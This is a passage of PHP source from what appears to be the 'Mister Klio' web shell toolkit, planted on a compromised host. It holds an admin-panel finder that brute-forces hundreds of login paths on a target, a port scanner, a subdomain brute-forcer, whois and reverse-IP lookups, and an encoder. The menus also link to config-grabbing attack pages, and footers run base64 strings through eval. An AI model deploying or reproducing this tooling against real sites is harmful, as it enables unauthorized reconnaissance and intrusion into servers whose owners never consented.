3214 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>FIND ADMINISTRATOR PANEL V1.0</span></nav><br><div class=content><center>"; | |
3215 | ?> | |
3216 | <form action ="" method="post"> | |
3217 | <span style="color:white"><center>Coded By Mister Klio</center></span> | |
3218 | <span style="color:white"><center>URL : HTTP://TARGET.COM</center></span><br> | |
3219 | <center><input type="text" name="site" class="input" alt="username" value="<?php echo "".$_SERVER['HTTP_HOST']."";?>" style="width:40%" ><br><br> | |
3220 | <input type = "submit" value="FIND" class="Mister-button" ></center> | |
3221 | </form></td> | |
3222 | <?php | |
3223 | $site = $_POST['site']; | |
3224 | $list = array( | |
3225 | '/administrator/', | |
3226 | '/administrateur/', | |
3227 | '/admin/', | |
3228 | '/login.php/', | |
3229 | '/adm/', | |
3230 | '/admin/', | |
3231 | '/admin/account.php/', | |
3232 | '/admin/login.php/', | |
3233 | '/admin/home/', | |
3234 | '/admin/controlpanel.php/', | |
3235 | '/admin/controlpanel.html/', | |
3236 | '/admin/cp/', | |
3237 | '/admin/adminLogin.php/', | |
3238 | '/admin/adminLogin.html/', | |
3239 | '/admin/admin_login/', | |
3240 | '/admin/controlpanel/', | |
3241 | '/admin/admin-login/', | |
3242 | '/admin-login/', | |
3243 | '/admin/account/', | |
3244 | '/admin/admin/', | |
3245 | '/admin.html/', | |
3246 | '/admin.php/', | |
3247 | '/adminitem/', | |
3248 | '/adminitems/', | |
3249 | '/administrator/', | |
3250 | '/administrator/login/', | |
3251 | '/administrator/', | |
3252 | '/administration/', | |
3253 | '/adminlogin/', | |
3254 | '/admin_area/admin/', | |
3255 | '/admin_area/', | |
3256 | '/admin_area/login/', | |
3257 | '/manager/', | |
3258 | '/letmein/', | |
3259 | '/superuser/', | |
3260 | '/access/', | |
3261 | '/sysadm/', | |
3262 | '/superman/', | |
3263 | '/supervisor/', | |
3264 | '/panel/', | |
3265 | '/control/', | |
3266 | '/member/', | |
3267 | '/members/', | |
3268 | '/user/', | |
3269 | '/cp/', | |
3270 | '/uvpanel/', | |
3271 | '/manage/', | |
3272 | '/management/', | |
3273 | '/signin/', | |
3274 | '/log-in/', | |
3275 | '/sign-in/', | |
3276 | '/users/', | |
3277 | '/accounts/', | |
3278 | '/wp-login.php/', | |
3279 | '/bb-admin/login/', | |
3280 | '/bb-admin/admin/', | |
3281 | '/bb-admin/admin.php/', | |
3282 | '/administrator/account/', | |
3283 | '/relogin.htm/', | |
3284 | '/relogin.php/', | |
3285 | '/check/', | |
3286 | '/relogin/', | |
3287 | '/blog/wp-login/', | |
3288 | '/user/admin/', | |
3289 | '/users/admin/', | |
3290 | '/registration/', | |
3291 | '/processlogin/', | |
3292 | '/checklogin/', | |
3293 | '/checkuser/', | |
3294 | '/checkadmin/', | |
3295 | '/isadmin/', | |
3296 | '/authenticate/', | |
3297 | '/authentication/', | |
3298 | '/auth/', | |
3299 | '/authuser/', | |
3300 | '/authadmin/', | |
3301 | '/modelsearch/login/', | |
3302 | '/moderator/', | |
3303 | '/controlpanel//', | |
3304 | '/admincontrol/', | |
3305 | '/adminpanel/', | |
3306 | '/fileadmin/', | |
3307 | '/sysadmin/', | |
3308 | '/admin1/', | |
3309 | '/admin1.php/', | |
3310 | '/admin2/', | |
3311 | '/admin2.php/', | |
3312 | '/yonetim/', | |
3313 | '/yonetim.php/', | |
3314 | '/yonetici/', | |
3315 | '/yonetici.php/', | |
3316 | '/myadmin/', | |
3317 | '/ur-admin/', | |
3318 | '/Server/', | |
3319 | '/wp-admin/', | |
3320 | '/administr8/', | |
3321 | '/webadmin/', | |
3322 | '/administratie/', | |
3323 | '/admins/', | |
3324 | '/administrivia/', | |
3325 | '/Database_Administration/', | |
3326 | '/useradmin/', | |
3327 | '/sysadmins/', | |
3328 | '/admin1/', | |
3329 | '/system-administration/', | |
3330 | '/administrators/', | |
3331 | '/pgadmin/', | |
3332 | '/DIRectadmin/', | |
3333 | '/staradmin/', | |
3334 | '/ServerAdministrator/', | |
3335 | '/SysAdmin/', | |
3336 | '/administer/', | |
3337 | '/LiveUser_Admin/', | |
3338 | '/sys-admin/', | |
3339 | '/typo3/', | |
3340 | '/panel/', | |
3341 | '/cpanel/', | |
3342 | '/cpanel_file/', | |
3343 | '/platz_login/', | |
3344 | '/rcLogin/', | |
3345 | '/blogindex/', | |
3346 | '/formslogin/', | |
3347 | '/autologin/', | |
3348 | '/support_login/', | |
3349 | '/meta_login/', | |
3350 | '/manuallogin/', | |
3351 | '/simpleLogin/', | |
3352 | '/loginflat/', | |
3353 | '/utility_login/', | |
3354 | '/showlogin/', | |
3355 | '/memlogin/', | |
3356 | '/login-reDIRect/', | |
3357 | '/sub-login/', | |
3358 | '/wp-login/', | |
3359 | '/login1/', | |
3360 | '/DIR-login/', | |
3361 | '/login_db/', | |
3362 | '/xlogin/', | |
3363 | '/smblogin/', | |
3364 | '/customer_login/', | |
3365 | '/UserLogin/', | |
3366 | '/login-us/', | |
3367 | '/acct_login/', | |
3368 | '/bigadmin/', | |
3369 | '/project-admins/', | |
3370 | '/phppgadmin/', | |
3371 | '/pureadmin/', | |
3372 | '/sql-admin/', | |
3373 | '/radmind/', | |
3374 | '/openvpnadmin/', | |
3375 | '/wizmysqladmin/', | |
3376 | '/vadmind/', | |
3377 | '/ezsqliteadmin/', | |
3378 | '/hpwebjetadmin/', | |
3379 | '/newsadmin/', | |
3380 | '/adminpro/', | |
3381 | '/Lotus_Domino_Admin/', | |
3382 | '/bbadmin/', | |
3383 | '/vmailadmin/', | |
3384 | '/Indy_admin/', | |
3385 | '/ccp14admin/', | |
3386 | '/irc-macadmin/', | |
3387 | '/banneradmin/', | |
3388 | '/sshadmin/', | |
3389 | '/phpldapadmin/', | |
3390 | '/macadmin/', | |
3391 | '/administratoraccounts/', | |
3392 | '/admin4_account/', | |
3393 | '/admin4_colon/', | |
3394 | '/radmind-1/', | |
3395 | '/Super-Admin/', | |
3396 | '/AdminTools/', | |
3397 | '/cmsadmin/', | |
3398 | '/SysAdmin2/', | |
3399 | '/globes_admin/', | |
3400 | '/cadmins/', | |
3401 | '/phpSQLiteAdmin/', | |
3402 | '/navSiteAdmin/', | |
3403 | '/server_admin_small/', | |
3404 | '/logo_sysadmin/', | |
3405 | '/power_user/', | |
3406 | '/system_administration/', | |
3407 | '/ss_vms_admin_sm/', | |
3408 | '/bb-admin/', | |
3409 | '/panel-administracion/', | |
3410 | '/instadmin/', | |
3411 | '/memberadmin/', | |
3412 | '/administratorlogin/', | |
3413 | '/adm/', | |
3414 | '/admin_login/', | |
3415 | '/panel-administracion/login/', | |
3416 | '/pages/admin/admin-login/', | |
3417 | '/pages/admin/', | |
3418 | '/acceso/', | |
3419 | '/admincp/login/', | |
3420 | '/admincp/', | |
3421 | '/adminarea/', | |
3422 | '/admincontrol/', | |
3423 | '/affiliate/', | |
3424 | '/adm_auth/', | |
3425 | '/memberadmin/', | |
3426 | '/administratorlogin/', | |
3427 | '/modules/admin/', | |
3428 | '/administrators/', | |
3429 | '/siteadmin/', | |
3430 | '/adminsite/', | |
3431 | '/kpanel/', | |
3432 | '/vorod/', | |
3433 | '/adminpanel/', | |
3434 | '/PSUser/', | |
3435 | '/secure/', | |
3436 | '/webmaster/', | |
3437 | '/autologin/', | |
3438 | '/userlogin/', | |
3439 | '/admin_area/', | |
3440 | '/cmsadmin/', | |
3441 | '/security/', | |
3442 | '/usr/', | |
3443 | '/root/', | |
3444 | '/secret/', | |
3445 | '/admin/login/', | |
3446 | '/admin/adminLogin/', | |
3447 | '/moderator.php/', | |
3448 | '/moderator/login/', | |
3449 | '/moderator/admin/', | |
3450 | '/yonetici/', | |
3451 | '/admin/', | |
3452 | '/manager/', | |
3453 | '/aadmin/', | |
3454 | '/cgi-bin/login/', | |
3455 | '/login1/', | |
3456 | '/login_admin/', | |
3457 | '/login_out/', | |
3458 | '/login_user/', | |
3459 | '/loginerror/', | |
3460 | '/loginok/', | |
3461 | '/loginsave/', | |
3462 | '/loginsuper/', | |
3463 | '/login/', | |
3464 | '/logout/', | |
3465 | '/secrets/', | |
3466 | '/super1/', | |
3467 | '/super_index/', | |
3468 | '/super_login/', | |
3469 | '/supermanager/', | |
3470 | '/superman/', | |
3471 | '/superuser/', | |
3472 | '/supervise/', | |
3473 | '/supervise/Login/', | |
3474 | '/super/', | |
3475 | '/p/m/a/', | |
3476 | '/dev/', | |
3477 | '/webadmin/', | |
3478 | '/sqlweb/', | |
3479 | '/websql/', | |
3480 | '/webdb/', | |
3481 | '/mya/', | |
3482 | '/myadmin/', | |
3483 | '/server/', | |
3484 | '/db/', | |
3485 | '/configuration/', | |
3486 | '/configure/', | |
3487 | '/administrator/', | |
3488 | '/moderator/', | |
3489 | '/controlpanel/', | |
3490 | '/adminpanel/', | |
3491 | '/admincontrol/', | |
3492 | '/fileadmin/', | |
3493 | '/data/', | |
3494 | '/postgresql/', | |
3495 | '/oracle/', | |
3496 | '/msssql/', | |
3497 | '/msaccess/', | |
3498 | '/sysadmin/', | |
3499 | '/serverdata/', | |
3500 | '/admins/', | |
3501 | '/Database_Administration/', | |
3502 | '/useradmin/', | |
3503 | '/sysadmins/', | |
3504 | '/admin1/', | |
3505 | '/system-administration/', | |
3506 | '/administrators/', | |
3507 | '/pgadmin/', | |
3508 | '/DIRectadmin/', | |
3509 | '/staradmin/', | |
3510 | '/ServerAdministrator/', | |
3511 | '/SysAdmin/', | |
3512 | '/LiveUser_Admin/', | |
3513 | '/sys-admin/', | |
3514 | '/typo3/', | |
3515 | '/panel/', | |
3516 | '/xlogin/', | |
3517 | ); | |
3518 | if(isset($site)){ | |
3519 | foreach($list as $path => $test) { | |
3520 | $Inject = curl_init(); | |
3521 | curl_setopt($Inject, CURLOPT_RETURNTRANSFER, 1); | |
3522 | curl_setopt($Inject, CURLOPT_HEADER, 1); | |
3523 | curl_setopt($Inject, CURLOPT_URL, $site.$test); | |
3524 | $result = curl_exec($Inject); | |
3525 | curl_close($Inject); | |
3526 | //print $url; | |
3527 | if (preg_match("/200 OK/", $result)){ | |
3528 | echo "<br>[<b><span style='color:#0000F0'>✓</span></b> DONE! : </span><a target=_white ><span style='color:red'>$site$test </span>]</span>"; | |
3529 | } | |
3530 | else if (preg_match("/401 Unauthorized/", $result)) { | |
3531 | echo "<br>[<b><span style='color:#0000F0'>✓</span></b> | |
3532 | DONE! : </span><<a target=_white href='$site$test'>$site$test </a></span></span>"; | |
3533 | } | |
3534 | } | |
3535 | echo "<center><br><b><span style='color:#0000F0'>✓ SCAN FINISHED </span></b></center><br>"; | |
3536 | } | |
3537 | exit; | |
3538 | } | |
3539 | if ($_GET['Mister'] == 'whois') { | |
3540 | echo '<br><center><nav class="social"><ul> | |
3541 | <li><a href="?Mister=FinderAdmin">Finder Administer Panel V1.0</a></li> | |
3542 | <li><a href="?Mister=Domains">Get All Domains</a></li> | |
3543 | <li><a href="?Mister=Finder">Finder Database Panel</a></li> | |
3544 | <li><a href="?Mister=Getip">Get Ip 2 Domains </a></li> | |
3545 | <li><a href="?Mister=subdomain">Subdomain Checker</a></li> | |
3546 | <li><a href="?Mister=iplookdom">Ip Lookup Reverse</a></li> | |
3547 | <li><a href="?Mister=Rev">Mass Read Config </a></li> | |
3548 | <li><a href="?Mister=Grabber">Grabber Config Attack</a></li> | |
3549 | <li><a href="?Mister=J-Scann3r">Joomla Serv3r Scann3r</a></li> | |
3550 | <li><a href="?Mister=whois">Website Whois</a></li> | |
3551 | </ul></nav></center> | |
3552 | '; | |
3553 | echo "<br><nav class='Mister-nav'><center><span style='font-size:18px;color:#0000F0;'>WEBSITE WHOIS</span></nav><center><br><div class='content'>"; | |
3554 | @set_time_limit(0); | |
3555 | @error_reporting(0); | |
3556 | function sws_domain_info($site) | |
3557 | { | |
3558 | $getip = @file_get_contents("http://networktools.nl/whois/$site"); | |
3559 | flush(); | |
3560 | $ip = @findit($getip,'<pre>','</pre>'); | |
3561 | return $ip; | |
3562 | flush(); | |
3563 | } | |
3564 | function sws_net_info($site) | |
3565 | { | |
3566 | $getip = @file_get_contents("http://networktools.nl/asinfo/$site"); | |
3567 | $ip = @findit($getip,'<pre>','</pre>'); | |
3568 | return $ip; | |
3569 | flush(); | |
3570 | } | |
3571 | function sws_site_ser($site) | |
3572 | { | |
3573 | $getip = @file_get_contents("http://networktools.nl/reverseip/$site"); | |
3574 | $ip = @findit($getip,'<pre>','</pre>'); | |
3575 | return $ip; | |
3576 | flush(); | |
3577 | } | |
3578 | function sws_sup_dom($site) | |
3579 | { | |
3580 | $getip = @file_get_contents("http://www.magic-net.info/dns-and-ip-tools.dnslookup?subd=".$site."&Search+subdomains=Find+subdomains"); | |
3581 | $ip = @findit($getip,'<strong>Nameservers found:</strong>','<script type="text/javascript">'); | |
3582 | return $ip; | |
3583 | flush(); | |
3584 | } | |
3585 | function sws_port_scan($ip) | |
3586 | { | |
3587 | $list_post = array('80','21','22','2082','25','53','110','443','143'); | |
3588 | foreach ($list_post as $o_port) | |
3589 | { | |
3590 | $connect = @fsockopen($ip,$o_port,$errno,$errstr,5); | |
3591 | if($connect) | |
3592 | { | |
3593 | echo " $ip : $o_port ??? <u style=\"color: #0000F0\">OPEN</u> <br>"; | |
3594 | flush(); | |
3595 | } | |
3596 | } | |
3597 | } | |
3598 | function findit($mytext,$starttag,$endtag) { | |
3599 | $posLeft = @stripos($mytext,$starttag)+strlen($starttag); | |
3600 | $posRight = @stripos($mytext,$endtag,$posLeft+1); | |
3601 | return @substr($mytext,$posLeft,$posRight-$posLeft); | |
3602 | flush(); | |
3603 | } | |
3604 | ?> | |
3605 | <center> | |
3606 | <br> | |
3607 | <form method="post"><table> | |
3608 | <tr><td>SITE TO SCAN </td><td>:</td><td><input type="text" name="site" size="50" style="color:#0000F0;background-color:#000000" class="inputz" value="<?php echo "".$_SERVER['HTTP_HOST']."";?>" /> <br><input class="Mister-button" type="submit" name="scan" value="SCAN !" /> | |
3609 | </table></form> | |
3610 | <?php | |
3611 | if(isset($_POST['scan'])) | |
3612 | { | |
3613 | $site = @htmlentities($_POST['site']); | |
3614 | if (empty($site)){die('<br style="color:red;"> NOT ADD IP...... !');} | |
3615 | $ip_port = @gethostbyname($site); | |
3616 | echo " | |
3617 | <br style='color:#FFFFFF;'> SCANNING [ $site IP $ip_port ] ... | |
3618 | <br>|-------------- PORT SERVER ------------------| <br>"; | |
3619 | echo "<pre style='color:#0000F0;'>".sws_port_scan($ip_port)." </pre> "; | |
3620 | flush(); | |
3621 | echo "<br>|-------------- DOMAIN INFO ------------------| <br> | |
3622 | <pre style='color:#0000F0;'>".sws_domain_info($site)."</pre>"; | |
3623 | flush(); | |
3624 | echo " | |
3625 | <br>|-------------- NETWORK INFO ------------------| <br /> | |
3626 | <pre style='color:#0000F0;'>".sws_net_info($site)."</pre> "; | |
3627 | flush(); | |
3628 | echo "<br>|-------------- SUBDOMAINS SERVER ------------------| <br /> | |
3629 | <pre style='color:#0000F0;'>".sws_sup_dom($site)."</pre> "; | |
3630 | flush(); | |
3631 | echo "<br>|-------------- SITE SERVER ------------------| <br /> | |
3632 | <pre style='color:#0000F0;'>".sws_site_ser($site)."</pre> | |
3633 | <br> |-------------- END ------------------| <br />"; | |
3634 | flush(); | |
3635 | } | |
3636 | echo '</center>'; | |
3637 | ||
3638 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3639 | echo ''. $FOTTER2 .'' ; | |
3640 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3641 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3642 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3643 | $SERVERIP1 = "SERVER IP :"; | |
3644 | echo ''. $SERVERIP1 .'' ; | |
3645 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3646 | $SPAN3 = "</span>"; | |
3647 | echo ''. $SPAN2 .'' ; | |
3648 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3649 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3650 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3651 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3652 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3653 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3654 | $HOSTOWNED1 = "HOST OWNED :"; | |
3655 | echo ''. $HOSTOWNED1 .'' ; | |
3656 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3657 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3658 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3659 | echo ''. $THEEND .'' ; | |
3660 | exit; | |
3661 | } | |
3662 | //////////// GETIP | |
3663 | if ($_GET['Mister'] == 'Getip') { | |
3664 | echo "<br><center><nav class='social'><ul> | |
3665 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
3666 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
3667 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
3668 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
3669 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
3670 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
3671 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
3672 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
3673 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
3674 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
3675 | </ul></nav></center>"; | |
3676 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>GET DOMAINS 2 IP</span></nav><br><center>"; | |
3677 | ?> | |
3678 | <table align='center' width='50%' ></td><td><form method='post' ><br> | |
3679 | <span style='color:white'><center>LISTE URL :</span><center> | |
3680 | <textarea cols='50' rows='12' name='site2ip' class='input' style='height:100px;'><?php echo "".$_SERVER['HTTP_HOST']."";?> </textarea></br><br> | |
3681 | <input type='submit' value='EXTRACT' name='w2ip' class='Mister-button'> | |
3682 | <br></center></table></table></center> | |
3683 | <?php | |
3684 | if(isset($_POST['site2ip'])){ | |
3685 | foreach(explode("\n",$_POST['site2ip']) as $site4ip){ | |
3686 | $ipp=trim($site4ip); | |
3687 | echo '<br><center> | |
3688 | <span style="color:#FFFFFF">NAME HOST : </span>'.$ipp.' | |
3689 | <br><span style="color:#FFFFFF"> IP HOST : </span>'.gethostbyname ($ipp).'</center><br>'; | |
3690 | } | |
3691 | } | |
3692 | echo "<br>";$FOTTER2 = "<footer class='MK-footer'>"; | |
3693 | echo ''. $FOTTER2 .'' ; | |
3694 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3695 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3696 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3697 | $SERVERIP1 = "SERVER IP :"; | |
3698 | echo ''. $SERVERIP1 .'' ; | |
3699 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3700 | $SPAN3 = "</span>"; | |
3701 | echo ''. $SPAN2 .'' ; | |
3702 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3703 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3704 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3705 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3706 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3707 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3708 | $HOSTOWNED1 = "HOST OWNED :"; | |
3709 | echo ''. $HOSTOWNED1 .'' ; | |
3710 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3711 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3712 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3713 | echo ''. $THEEND .'' ; | |
3714 | exit;} | |
3715 | //////////// SUBDOMAIN | |
3716 | if ($_GET['Mister'] == 'subdomain'){ | |
3717 | echo "<br><center><nav class='social'><ul> | |
3718 | <li><a href='?Mister=FinderAdmin'>Finder Administer Panel V1.0</a></li> | |
3719 | <li><a href='?Mister=Domains'>Get All Domains</a></li> | |
3720 | <li><a href='?Mister=Finder'>Finder Database Panel</a></li> | |
3721 | <li><a href='?Mister=Getip'>Get Ip 2 Domains </a></li> | |
3722 | <li><a href='?Mister=subdomain'>Subdomain Checker</a></li> | |
3723 | <li><a href='?Mister=iplookdom'>Ip Lookup Reverse</a></li> | |
3724 | <li><a href='?Mister=Rev'>Mass Read Config </a></li> | |
3725 | <li><a href='?Mister=Grabber'>Grabber Config Attack</a></li> | |
3726 | <li><a href='?Mister=J-Scann3r'>Joomla Serv3r Scann3r</a></li> | |
3727 | <li><a href='?Mister=whois'>Website Whois</a></li> | |
3728 | </ul></nav></center>"; | |
3729 | echo "<nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>SUBDOMAIN CHECKER</span></nav><center>"; | |
3730 | ?> | |
3731 | <br><form method="post"> | |
3732 | <span style="font-size:10px;color:#FFFFFF;"><center>URL :</center></span> | |
3733 | <input type="text" name="site" size="30" value="<?php echo "".$_SERVER['HTTP_HOST']."";?>" style="width:40%" class="input"><br><br> | |
3734 | <input name="submit" type="submit" value="SUBMIT" class="Mister-button"><br><br> | |
3735 | </form> | |
3736 | </font> | |
3737 | <?php | |
3738 | set_time_limit(0); | |
3739 | $subs = array("a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","lan","phpmyadmin","administrator","mape","isp","shop","rex","podcast","potraga","sensation","igre","foo","api","access","ulaz","pam","sport","pretraga","pricaonica","kuvar","raketa","wwwmobile","s1","s2","foro","s3","box","open","abc","phpbb3","phpbb2","internet","phpbb","whm","mysql","webadmin","adm","admin","admins","agent","aix","recnik","alerts","av","antivirus","app","apps","appserver","archive","as400","auto","backup","banking","bbdd","bbs","bea","beta","blog","catalog","cgi","channel","channels","chat","cisco","client","clients","club","cluster","clusters","code","commerce","community","compaq","conole","consumer","contact","contracts","corporate","ceo","cso","cust","customer","cpanel","data","bd","db2","default","demo","cms","design","desktop","dev","develop","developer","device","dial","digital","DIR","DIRectory","disc","discovery","disk","dns","dns1","dns2","dns3","docs","poslovi","prijemni","znanje","mojtim","documents","domain","domains","dominoweb","download","downloads","ecommerce","e-commerce","edi","edu","education","email","enable","engine","engineer","enterprise","slike","galerija","error","event","events","example","exchange","extern","external","extranet","fax","field","finance","firewall","forum","forums","fsp","ftp","ftp2","fw","fw1","gallery","galleries","games","gateway","gopher","guest","gw","hello","helloworld","help","helpdesk","arkiva","lajme","faqe","helponline","hp","ibm","ibmdb","ids","ILMI","film","navigator","nalog","prodavnica","zdravlje","reklamiranje","zivot","images","imap","pomoc","imap4","img","imgs","info","intern","internal","intranet","invalid","iphone","ipsec","irc","ircserver","jobs","ldap","link","linux","lists","listserver","local","localhost","log","logs","login","lotus","mail","mailboxes","mailhost","result","management","manage","manager","map","maps","marketing","device","media","member","members","messenger","mngt","mobile","monitor","multimedia","music","my","names","lojra","albania","bisedo","puka","foto","emra","njohje","vip","egea-tirana","historia","forumi","vesti","administracija","net","new1","new","perkohesisht","netdata","netstats","network","news","nms","nntp","ns","ns1","ns2","ns3","ntp","online","openview","oracle","outlook","page","pages","partner","partners","pda","personal","ph","pictures","pix","pop","pop3","portal","press","print","printer","private","project","projects","proxy","public","ra","radio","raptor","ras","read","register","remote","report","reports","root","router","lister","rwhois","sac","schedules","scotty","search","secret","secure","security","seri","serv","serv2","server","service","services","shop","shopping","site","sms","smtp","smtphost","snmp","snmpd","snort","solaris","1","2","3","4","5","6","7","8","9","0","solutions","support","source","sql","ssl","stats","store","stream","streaming","sun","support","switch","sysback","system","tech","terminal","test","testing","testing123","time","tivoli","training","transfers","uddi","update","upload","uploads","video","vpn","w1","w2","w3","wais","wap","web","webdocs","weblib","weblogic","webmail","webserver","webservices","websphere","whois","wireless","work","world","write","ws","ws1","ws2","ws3","www1","www2","www3","www4","www5","www6","www7","www8","www9","drupal","wordpress","joomla","db","database","love"); | |
3740 | if($_POST){ | |
3741 | $url = $_POST["site"]; | |
3742 | foreach($subs as $sub){ | |
3743 | if(!eregi($url, gethostbyname($sub.".".$url))){ | |
3744 | echo '<font face="Narkisim" color="white">[+] '.$sub.".".$url.' : </font><font color="#0000F0">'.gethostbyname($sub.".".$url).'</font></br>'; | |
3745 | }else{ | |
3746 | echo '<span style="font-size:10px; color:white">'.$sub.".".$url.' </span>: <span style="font-size:10px;color:#f60000">NOTHING FOUND</spane><br><br>'; | |
3747 | } | |
3748 | } | |
3749 | } | |
3750 | echo "<br>";$FOTTER2 = "<footer class='MK-footer'>"; | |
3751 | echo ''. $FOTTER2 .'' ; | |
3752 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3753 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
3754 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3755 | $SERVERIP1 = "SERVER IP :"; | |
3756 | echo ''. $SERVERIP1 .'' ; | |
3757 | $SPAN2 = "<span style='color:#FFFFFF;'>"; | |
3758 | $SPAN3 = "</span>"; | |
3759 | echo ''. $SPAN2 .'' ; | |
3760 | echo $SERVERIP = gethostbyname($_SERVER["HTTP_HOST"]); echo ''. $SPAN3 .'' ; | |
3761 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3762 | $CLIENTIP1 = "CLIENT IP :"; echo ''. $CLIENTIP1 .''; | |
3763 | echo ''. $SPAN2 .'' ; echo $_SERVER['REMOTE_ADDR']; | |
3764 | echo ''. $SPAN3 .'</button><button class="MK-Bouton">'; | |
3765 | eval("?>".base64_decode ("PHNwYW4gc3R5bGU9J2NvbG9yOiMwMDAwMCc+IOKesiA8L3NwYW4+/")); | |
3766 | $HOSTOWNED1 = "HOST OWNED :"; | |
3767 | echo ''. $HOSTOWNED1 .'' ; | |
3768 | echo ''. $SPAN2 .'' ; echo $_SERVER['SERVER_NAME'] ; echo ''. $SPAN3 .'</button> '; | |
3769 | $REPORTERROR = "| ALL RIGHT RESERVED™ |"; | |
3770 | echo ''. $REPORTERROR .'</a></span></footer>'; | |
3771 | echo ''. $THEEND .'' ; | |
3772 | exit;} | |
3773 | //////////// | |
3774 | if ($_GET['Mister'] == 'string'){$text = $_POST['code']; | |
3775 | echo '<br><center><nav class="social"><ul> | |
3776 | <li><a href="?Mister=string">Encoder</a></li> | |
3777 | <li><a href="?Mister=Base64Cry">Base64 Decrypt V2.0</a></li> | |
3778 | <li><a href="?Mister=obfuscate">Php Obfuscate</a></li> | |
3779 | <li><a href="?Mister=HashId">Hash Identification</a></li> | |
3780 | </ul></nav></center>'; | |
3781 | ?> | |
3782 | <nav class='Mister-nav'><center><span style='font-size:18px; color:#0000F0'>ENCODER</span></nav><br><div class=content><center><span style='font-size:10px;color:white'>MD5 / BASE64 / CRYPT / URL Encoding / SHA256 / MD4</span><center> | |
3783 | <center><br> | |
3784 | <table align='center' style="width:50%;"></td><td> | |
3785 | <form method="post"><br><textarea cols=80 rows=5 name="code" class="input" style="height:100px; width:100%;">MKV3.2</textarea><br><br><select name="ope"><option value="base64">BASE64</option><option value="md5">MD5</option><option value="whash">CRYPT</option><option value="SHA1">SHA1</option><option value="urlencode">URL Encoding</option><option value="md4">MD4</option><option value="SHA256">SHA256</option></select> <input type='submit' value='ENCRYPT' class="Mister-button"></form><?php $op = $_POST["ope"];switch ($op) {case 'base64': $codi=base64_encode($text);break;case 'md5' : $codi=md5($text);break;case 'whash' : $codi=crypt($text);break;case 'SHA1' : $codi=sha1($text);break;case 'urlencode' : $codi=urlencode($text);break;case 'md4' : $codi=hash("md4",$text);break;case 'SHA256' : $codi=hash("sha256",$text);break;default:break;}echo '<textarea cols=80 rows=10 class="input" style="height:100px; width:100%;" readonly>'.$codi.'</textarea></div></center>'; | |
3786 | $FOTTER2 = "<footer class='MK-footer'>"; | |
3787 | echo ''. $FOTTER2 .'' ; | |
3788 | $COPYRIGHT1 = base64_decode("Q09QWVJJR0hUIMKpIDxhIGhyZWY9Jz9NaXN0ZXI9QWJvdXRzJz4gMjAxNSA8L2E+IHw="); | |
3789 | echo ''. $COPYRIGHT1 .'<button class="MK-Bouton">' ; | |
